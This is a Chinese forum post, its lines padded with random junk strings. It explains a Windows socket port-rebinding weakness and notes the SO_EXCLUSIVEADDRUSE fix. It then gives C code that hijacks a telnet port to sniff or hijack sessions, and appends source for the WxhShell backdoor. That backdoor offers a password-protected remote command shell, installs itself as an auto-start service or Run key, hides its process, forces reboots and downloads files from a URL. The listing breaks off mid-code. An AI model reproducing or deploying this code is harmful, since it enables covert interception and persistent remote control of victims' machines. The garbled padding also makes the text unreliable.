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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^C:{z)"h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]*g ss'N  
q-3J.VLJ5H  
  saddr.sin_family = AF_INET; vbWJhj K0h  
kKxL04  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c+E//X|  
np`g cj#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (!_X:+0_  
hpqHllL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m0BG9~p|  
_cxm}*}\#  
  这意味着什么?意味着可以进行如下的攻击: U9@t?j_#X{  
iJCY /*C}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9LqMQv"xW  
bG5^h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mJGO)u&  
uHUvntr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VGTeuu5i  
[Q7->Wo|S:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   r21?c|IP  
rnMG0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =A0"0D{\  
%2@ Tj}xa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {*M>X}voS  
Q8;x9o@p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nJldz;  
Ad}-I%Ie  
  #include f7_\).T  
  #include DU/9/ I?~  
  #include Z%Tq1O  
  #include    5(iSOsb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r%g <h T 8  
  int main() ; d, JN  
  { ,-cpsN  
  WORD wVersionRequested; r!=]Q}`F  
  DWORD ret; lgCHGv2@  
  WSADATA wsaData; wE,=%?"  
  BOOL val; 3JlC/v#0  
  SOCKADDR_IN saddr; P;)2*:--)  
  SOCKADDR_IN scaddr; [Vrc:%Jk  
  int err; %K&+~CJE  
  SOCKET s; 9_J!s  
  SOCKET sc; [ -9)T  
  int caddsize; F9m2C'U  
  HANDLE mt; CbTf"pl  
  DWORD tid;   p/ziFpU  
  wVersionRequested = MAKEWORD( 2, 2 ); Z-4K?;g'k  
  err = WSAStartup( wVersionRequested, &wsaData ); Ap F*a$),  
  if ( err != 0 ) { \b_-mnN"  
  printf("error!WSAStartup failed!\n"); 7%:??*"~  
  return -1; ~I8v5 H  
  } S KB@  
  saddr.sin_family = AF_INET; v?Z'[l  
   ~u_K& X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c0!Te'?  
F`YFo)W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9O),/SH;:  
  saddr.sin_port = htons(23); SjZd0H0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bl kSWW/  
  { #t"9TP  
  printf("error!socket failed!\n"); 3q'K5} _  
  return -1; "_ nX5J9  
  } v t^r1j  
  val = TRUE; z{Hz;m:*_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]sX7%3P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =1gDjF9|  
  { QDIsC  
  printf("error!setsockopt failed!\n"); 98D{{j92  
  return -1; qJ\X~5{  
  } =ied}a :[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mBw2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (P2[5d|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i FC"!23f  
@Djs[Cs<*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cj$,ob&DX  
  { o&CghF  
  ret=GetLastError(); q:xtm?'$  
  printf("error!bind failed!\n"); Wl,%&H2S<  
  return -1; 11i"nR|  
  } +ckMT3  
  listen(s,2); ~ wfoK7T}  
  while(1) b0y-H/d/}  
  { XZF%0g2$b  
  caddsize = sizeof(scaddr); Zk wJ.SuU  
  //接受连接请求 =fY lzZh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V78Mq:7d  
  if(sc!=INVALID_SOCKET) {;U}:Dx  
  { f&K}IM8& #  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kBrvl^D{5  
  if(mt==NULL) RI?NB6U  
  { ]a8eDy  
  printf("Thread Creat Failed!\n"); t$aVe"uM  
  break; D5=C^`$2  
  } #X4LLS]VV  
  } [0K=I64 z  
  CloseHandle(mt); )m|C8[u  
  } ;F|jG}M"  
  closesocket(s); Gj6<s./  
  WSACleanup(); SO7(K5H,  
  return 0; &u&2D$K,tp  
  }   /#29Y^Z)=  
  DWORD WINAPI ClientThread(LPVOID lpParam) r i,2clp  
  { TV<Aj"xw  
  SOCKET ss = (SOCKET)lpParam; ki#y&{v9Be  
  SOCKET sc; ! &y  
  unsigned char buf[4096]; 6 tX.(/+L  
  SOCKADDR_IN saddr; tzZ|S<e6=\  
  long num; yj>) {NcX  
  DWORD val; *8/VSs  
  DWORD ret; fH&zR#T7U4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ubD#I{~J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r8sdzz%  
  saddr.sin_family = AF_INET; r|M'TA~:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R;%^j=Q  
  saddr.sin_port = htons(23); S=4R5igrC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fTTm$,f5N  
  {  2mQOj$Lv  
  printf("error!socket failed!\n"); vnDmFqelz  
  return -1; ;jF%bE3  
  } }lH;[+u3  
  val = 100; 0"4J"q]&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g083J}08  
  { :r\xkHg/f  
  ret = GetLastError(); V w7WK  
  return -1; ,b$z!dvhl  
  } f]c <9Q>*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7$K}qsr<  
  { L,6MF,vx  
  ret = GetLastError(); iFSJ4 W(  
  return -1; D6Dn&/>Zp  
  } WBa /IM   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'w:bs!  
  { D]jkR} t  
  printf("error!socket connect failed!\n"); & wOE\TCL  
  closesocket(sc); Q~8y4=|#CY  
  closesocket(ss); /Ad6+cY  
  return -1; z1#oW f{*  
  }  C[R`Ml  
  while(1) 5 1"8Py  
  { #.o0mguU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M= atls  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sx:Hv1d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |J\,F.{'  
  num = recv(ss,buf,4096,0); O hi D  
  if(num>0) .5 ]{M\aA  
  send(sc,buf,num,0); A=0@UqM  
  else if(num==0) {-J:4*`  
  break; fwy"w  
  num = recv(sc,buf,4096,0); *CzCUu:%t  
  if(num>0) U[bgu#P;  
  send(ss,buf,num,0); ^B|YO8.v  
  else if(num==0) G8noQ_-  
  break; VJ*\pM@no  
  } =D}4X1l  
  closesocket(ss); ldYeX+J _  
  closesocket(sc); >J>>\Y(p  
  return 0 ; *<UGgnmLE  
  } jx'2N~$  
,&[7u9@  
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========================================================== (U_wp's  
aTG[=)x L  
下边附上一个代码,,WXhSHELL Jl_~_Z  
6Etss!_  
========================================================== <&6u]uKrW  
&u=8r*  
#include "stdafx.h" rpSr^slr  
Ww=O=c5uOu  
#include <stdio.h> /,LfA2^_j{  
#include <string.h> W"|mpxp  
#include <windows.h> .$P|^Zx,  
#include <winsock2.h> mTJ"l(,3  
#include <winsvc.h> KxX[ S.C  
#include <urlmon.h> S*xhX1yUi  
bs BZ E  
#pragma comment (lib, "Ws2_32.lib") gJKKR]4*  
#pragma comment (lib, "urlmon.lib") =q5@,wN^  
(_ U^  
#define MAX_USER   100 // 最大客户端连接数 -p]>Be+^x  
#define BUF_SOCK   200 // sock buffer ZL=N[XW4'  
#define KEY_BUFF   255 // 输入 buffer O) 1E$#~  
QkL@JF]Re  
#define REBOOT     0   // 重启 q1w|'V  
#define SHUTDOWN   1   // 关机 @C=M UT-!  
ZtR&wk  
#define DEF_PORT   5000 // 监听端口 /p 5=i  
 $WR?  
#define REG_LEN     16   // 注册表键长度 !)nD xM`p  
#define SVC_LEN     80   // NT服务名长度 Y1WHy *s?  
pqH4w(;  
// 从dll定义API 5uttv:@=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H]]c9`ayt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fnWsm4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y&g&n o_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2uL9.q  
:~D]; m  
// wxhshell配置信息 as#J qE  
struct WSCFG { lV)G@l[1  
  int ws_port;         // 监听端口 ?@DNsVwb  
  char ws_passstr[REG_LEN]; // 口令 FT( iX `YQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no q#'VJA:A5&  
  char ws_regname[REG_LEN]; // 注册表键名 &[~[~m|  
  char ws_svcname[REG_LEN]; // 服务名 q]XHa,"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ul=7>";=|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;cLUnsB\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y"*:&E2)r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lQL:3U0DjU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (u9Zk~)F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r[!(?%>j  
:<%vE!$  
}; CV3DMA  
!F$R+A+L  
// default Wxhshell configuration h)@InYwu7  
struct WSCFG wscfg={DEF_PORT, bE4HDq34  
    "xuhuanlingzhe", >0T Za  
    1,  D%gGRA  
    "Wxhshell", ]Uh 1l.O  
    "Wxhshell", $H;+}VQ  
            "WxhShell Service", )*D'csGc  
    "Wrsky Windows CmdShell Service", `pm>'  
    "Please Input Your Password: ", k!owl+a   
  1, %E.S[cf%8&  
  "http://www.wrsky.com/wxhshell.exe", "lrA%~3%[P  
  "Wxhshell.exe" #KE;=$(S  
    }; bjzx!OCpV  
qd8pF!u|#  
// 消息定义模块 agT7=hX].  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2*Q3.2 Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TGpSulg7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y`^o7'Z2^P  
char *msg_ws_ext="\n\rExit."; +*.1}r&  
char *msg_ws_end="\n\rQuit."; EY$?^iS  
char *msg_ws_boot="\n\rReboot..."; u]bz42]  
char *msg_ws_poff="\n\rShutdown..."; sUc iFAb  
char *msg_ws_down="\n\rSave to "; iaRR5D-  
L[]BzsIv  
char *msg_ws_err="\n\rErr!"; VYigxhP7  
char *msg_ws_ok="\n\rOK!"; A{(T'/~"  
Mpm#GdT  
char ExeFile[MAX_PATH]; ls @5^g  
int nUser = 0; I4~^TrznRa  
HANDLE handles[MAX_USER];  Q; 20T  
int OsIsNt; #HG&[Ywi  
1R^4C8*B  
SERVICE_STATUS       serviceStatus; G#lg|# -#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nb1J ~v  
O9e.=l  
// 函数声明 Kj!Y K~~  
int Install(void); 9wMEvX70  
int Uninstall(void); MD4\QNUa)*  
int DownloadFile(char *sURL, SOCKET wsh); `Cg^in\  
int Boot(int flag); n$W"=Z;`  
void HideProc(void); 74]a/'4  
int GetOsVer(void); WIG=D{\Yx  
int Wxhshell(SOCKET wsl); vgo{]:Aj{  
void TalkWithClient(void *cs); VA2<r(y~(  
int CmdShell(SOCKET sock); _+n;A46  
int StartFromService(void); WW6yFriuW  
int StartWxhshell(LPSTR lpCmdLine); ugxw!cj  
\u8,!) 4i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =GTD"*vwr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X HQh4W3  
: I)Gv  
// 数据结构和表定义 :x+ig5  
SERVICE_TABLE_ENTRY DispatchTable[] = MWhwMj!:m  
{ v F[CWV.  
{wscfg.ws_svcname, NTServiceMain}, a2X h>{  
{NULL, NULL} R9vY:oN%  
}; LU( %K{9  
u<kD}  
// 自我安装 Mciq-c)  
int Install(void) 6l[G1KkV  
{ kO+s+ 55  
  char svExeFile[MAX_PATH]; ]>vf9]  
  HKEY key; 6F-JK1i  
  strcpy(svExeFile,ExeFile); DB~MYOX~  
~<eVl l=  
// 如果是win9x系统,修改注册表设为自启动 G * @@K  
if(!OsIsNt) { P}l#VJWp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IXJ6PpQLv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^9'$Oa,*  
  RegCloseKey(key); ! ]\2A.b[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H|K("AVP:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]?&H^"=  
  RegCloseKey(key); `*d{PJTv  
  return 0; ALAL( f`  
    } RpAiU  
  } 1 KB7yG-#6  
} \n;g2/VjO  
else { $l#{_~ "m7  
o$\tHzB9!A  
// 如果是NT以上系统,安装为系统服务 ~?-qZ<9/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R=Ymo.zs6  
if (schSCManager!=0) S\b K+  
{ #]X2^ND4 7  
  SC_HANDLE schService = CreateService ? rQc<;b  
  ( Ge0Lb+<G  
  schSCManager, ssT@<Tk^4  
  wscfg.ws_svcname, F"v:}Vy|   
  wscfg.ws_svcdisp, (Z 8,e  
  SERVICE_ALL_ACCESS, SXh?U,5u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AI~9m-,mE  
  SERVICE_AUTO_START, *(p7NYf1  
  SERVICE_ERROR_NORMAL, gg(k7e  
  svExeFile, q- H&5K  
  NULL, *.3y2m,bZ  
  NULL, w#<p^CS  
  NULL, '{CWanTPi  
  NULL, Bi XTC$Oi  
  NULL }biCQ*{'  
  ); >+SZd7p  
  if (schService!=0) 19) !$Hl  
  { u6pIdt  
  CloseServiceHandle(schService); I5Q~T5Ar  
  CloseServiceHandle(schSCManager); mV%h[~-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T$ IUKR  
  strcat(svExeFile,wscfg.ws_svcname); N"K\ick6J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8UYJye8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &8afl"_~  
  RegCloseKey(key); M_; w %FV  
  return 0; @ce3%`c_  
    } U&s(1~e\  
  } ve~C`2=;  
  CloseServiceHandle(schSCManager); :cb[M5c  
} ?l>e75V%w  
} .X^43 q  
{<r`5  
return 1; w0X$rl1  
} l:x _j\  
rX:1_q`xA  
// 自我卸载 {n6\g]p3  
int Uninstall(void) g/6nw a  
{ a 1NCVZ  
  HKEY key; @| P3  
4[Z1r~t\L  
if(!OsIsNt) { h>.9RX &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K: 4P ;ApI  
  RegDeleteValue(key,wscfg.ws_regname); [C2kK *JZ  
  RegCloseKey(key); v23TL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N:d D*[QZ  
  RegDeleteValue(key,wscfg.ws_regname); hg{ &Y(J!U  
  RegCloseKey(key); ?f9$OLEB  
  return 0; uV!MW=)  
  } Iht@mE  
} }~V,_Fv  
} \ x:_*`fU  
else { @|Z*f\  
<e[!3,%L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y. T ct.  
if (schSCManager!=0) A xRl*B  
{ -}N Ab^d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /O+e#z2f<  
  if (schService!=0) [l`^fnKt  
  { $,g 3*A  
  if(DeleteService(schService)!=0) { JtThkh'-"  
  CloseServiceHandle(schService); 7G?Ia%u  
  CloseServiceHandle(schSCManager); < rv1IJ  
  return 0; 9DmSs=A  
  } s8{-c^G:R  
  CloseServiceHandle(schService); Z"4VH rA  
  } G[y&`Qc)G  
  CloseServiceHandle(schSCManager); J6= w:c  
} t7sUtmq  
} _T_PX$B  
VyRW'  
return 1; .QNjeMu.  
} Z3Bo@`&?  
XryQ)x(  
// 从指定url下载文件 c9 gz!NE  
int DownloadFile(char *sURL, SOCKET wsh) ^ yY{o/6  
{ C#ZmgR  
  HRESULT hr; 3we.*\2$  
char seps[]= "/"; yp( ?1  
char *token; ,<`|-oa  
char *file; .LWOM8)  
char myURL[MAX_PATH]; #rqyy0k0'h  
char myFILE[MAX_PATH]; f_^ix  
l2z`<2mp  
strcpy(myURL,sURL); i!s~kk  
  token=strtok(myURL,seps); 41P4?"O  
  while(token!=NULL) ';i"?D?NAk  
  { m$j n5:  
    file=token; ~)WfJ  
  token=strtok(NULL,seps); 0+$hkd n  
  } wghFGHgw  
Ah(\%35&  
GetCurrentDirectory(MAX_PATH,myFILE); 5<'n  
strcat(myFILE, "\\"); Lf$Q %eM0  
strcat(myFILE, file); d=Rk\F'^J  
  send(wsh,myFILE,strlen(myFILE),0); 7I@9v=xV  
send(wsh,"...",3,0); 2@"0} po#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ph}wnIW]  
  if(hr==S_OK) ;m2"cL>{l  
return 0; n"K {uj))  
else PV5TG39qQ  
return 1; > Z.TM=qj  
|SSf G~r  
} [Gh%nsH  
Res"0Q  
// 系统电源模块 uFA|r X  
int Boot(int flag) /j=DC9_  
{ ovo?lE-a0  
  HANDLE hToken; Bd N{[2  
  TOKEN_PRIVILEGES tkp; 0+VncL)u  
(;Dn%kK  
  if(OsIsNt) { Ba\wq:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9.MGH2^ L?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3cV+A]i  
    tkp.PrivilegeCount = 1; a[d{>Fb.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TnMVHO-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $_ I%1  
if(flag==REBOOT) { g0; &/;"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K~fDv  i  
  return 0; 4N%2w(,+8  
} \$$b",2 h  
else { r(?'Yy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W?4&lC^G  
  return 0; h[[/p {z  
} %$9)1"T0Y  
  }  q~:'R  
  else { ;/hH=IT  
if(flag==REBOOT) { ~ (l2%(3G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c9cphZ(z  
  return 0; 21)-:rS  
} X&FuqB  
else { C&d"#I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `|ck5DZT5L  
  return 0; #%=vy\r  
} ;'WzfJ!q  
} `pv89aO  
]B-$p p  
return 1; &d|VH y+  
} B3g82dm  
]%Q]C 8[C  
// win9x进程隐藏模块 [/fwt!  
void HideProc(void) P/1UCITq}  
{ ^&Rxui  
-XDP-Trk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ymk4Cu.s  
  if ( hKernel != NULL ) G+QNg .pH  
  { G~iYF(:&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :v WYI I7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @qr3v>3X<  
    FreeLibrary(hKernel); %\z COfN  
  } e2=,n6N]c  
}9+1<mT9a/  
return; g]PLW3  
} @)juP- o%  
@,>=X:7  
// 获取操作系统版本 T~ q'y~9o  
int GetOsVer(void) C4SD  
{ zHum&V8=H  
  OSVERSIONINFO winfo; )hZ}$P1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j}?ZsnqV  
  GetVersionEx(&winfo); V.a]IkK'K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p ra-8z-  
  return 1; ~C*6V{Tj  
  else +n.j.JP"X  
  return 0; 1r:fxZO\Vd  
} F>_lp,G   
~JmxW;|_x)  
// 客户端句柄模块 fz?Wr: I  
int Wxhshell(SOCKET wsl) #O974f8  
{ WZ V*J&  
  SOCKET wsh; XJ1nhE  
  struct sockaddr_in client; yI)fu^  
  DWORD myID; Y(!)G!CMc  
w!h{P38  
  while(nUser<MAX_USER) /:L&uqA  
{ d?qO`- ~$  
  int nSize=sizeof(client); T+{'W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yw1q2jT  
  if(wsh==INVALID_SOCKET) return 1; z^GGJu%vjr  
*Lk&@(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *x` l1o  
if(handles[nUser]==0) DmpJzH j|  
  closesocket(wsh); 6!=9V0G~  
else /n}V7  
  nUser++; {$eZF_}Y^  
  } #Q)w$WR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #7:9XID /  
uRcuy/CY  
  return 0; 3Eux-C!t  
} (C[S?@S  
X OtS+p  
// 关闭 socket Xwq2;Bq  
void CloseIt(SOCKET wsh) ?#y<^oNM  
{ O9IjU10:  
closesocket(wsh); lxJ.h&"P  
nUser--; IIEU{},}z  
ExitThread(0); tKViM@T  
}  2x J5  
1{glRY'  
// 客户端请求句柄 8[p6C Jl)  
void TalkWithClient(void *cs) ng6p#F,3  
{ ~$obcW1  
pKlT.<X7  
  SOCKET wsh=(SOCKET)cs; G7{:d  
  char pwd[SVC_LEN]; juZ3""  
  char cmd[KEY_BUFF]; iiFKt(  
char chr[1]; ~ a&j4E  
int i,j; +~AI(h  
}u)G ERWO  
  while (nUser < MAX_USER) { 7lOiFw  
3&2q\]Y,  
if(wscfg.ws_passstr) { ^0~1/ PhOw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tzN;;h4C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5gEWLLDp  
  //ZeroMemory(pwd,KEY_BUFF); ~"B[6^sW  
      i=0; hfc!M2/w  
  while(i<SVC_LEN) { 6Ky"4\e  
e-meUf9  
  // 设置超时 "Y0[rSz,UW  
  fd_set FdRead; :!\./z8v  
  struct timeval TimeOut; A| -\C$  
  FD_ZERO(&FdRead); 1mM52q.R4  
  FD_SET(wsh,&FdRead); {q4"x5|  
  TimeOut.tv_sec=8; ^ } L$[P  
  TimeOut.tv_usec=0; #nhAW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q;M\P/f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S"z4jpqn3  
bV,R*C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l<6/ADuS  
  pwd=chr[0]; 9hzU@m  
  if(chr[0]==0xd || chr[0]==0xa) { GUX X|W[6  
  pwd=0; GTvb^+6  
  break; sl 5wX  
  } ~h.B\Sc]Q  
  i++; _ji%BwJ  
    } V [>5  
`9gx-')]\  
  // 如果是非法用户,关闭 socket M XQ7%G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &YMj\KmlSg  
} \O~P !`  
`#bcoK5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _,Y79 b6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R4;6Oi)  
DK1)9<  
while(1) { EK^2 2vi$  
yhmW-#+^e  
  ZeroMemory(cmd,KEY_BUFF); &jcr7{cD  
ZAwl,N){  
      // 自动支持客户端 telnet标准   ER+[gT1CQ  
  j=0; 70~]J8T+u  
  while(j<KEY_BUFF) { N~(}?'y9S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Gi/=[Tp  
  cmd[j]=chr[0]; =t2epIr 5  
  if(chr[0]==0xa || chr[0]==0xd) { _De;SB %V  
  cmd[j]=0; #96a7K  
  break; #oI`j q  
  } QWEK;kUa@  
  j++; b`mEnI VIz  
    } [<hiOB  
}$ der  
  // 下载文件 Q@R8qc=*  
  if(strstr(cmd,"http://")) { uwJkqlUOz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $fKWB5p|()  
  if(DownloadFile(cmd,wsh)) z,WrLZC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v:'y&yS  
  else t{9Ph]e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qI}Zg)q]  
  } y5I7pbe  
  else { :gXj( $  
_+i-)  
    switch(cmd[0]) { 9]iDNa/D  
  )I@iW\`7  
  // 帮助 gTT-7  
  case '?': { A}8U;<\Ig  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^]HwStn&=  
    break; x UYSD  
  } & CgLF]  
  // 安装 4(NI-|q0  
  case 'i': { -kO=pYP*O  
    if(Install()) UOyP6ej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rp#SqRy`  
    else 1EN5ZN,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #AHIlUH"m  
    break; ^VQiq7 xm  
    } _v\QuI6  
  // 卸载 ;8!D8o(+  
  case 'r': { D~<GVp5T  
    if(Uninstall()) Aq-v3$XL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+U`afV  
    else b$BUo8O}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZISR]xay  
    break; #Xc~3rg9  
    } ^0 t`EZ$  
  // 显示 wxhshell 所在路径 3jQ |C=   
  case 'p': { uzS57 O%  
    char svExeFile[MAX_PATH]; |D\ ukml  
    strcpy(svExeFile,"\n\r"); *ULXJZ%  
      strcat(svExeFile,ExeFile); ,PB?pp8C}  
        send(wsh,svExeFile,strlen(svExeFile),0); ~DSle 3  
    break; /a,q4tD@  
    } !"wIb.j }0  
  // 重启 a P`;Nr=  
  case 'b': { 4B |f}7%\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y{jhT^tKK  
    if(Boot(REBOOT)) hAY_dM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SXhJz=h  
    else { (Lc%G~{  
    closesocket(wsh); _|F h^hq  
    ExitThread(0); WA<~M) rb  
    } @+xQj.jNC  
    break; KMZ% 1=a  
    } \d6A<(!=v  
  // 关机 <|{=O9  
  case 'd': { p4/D%*G^`  
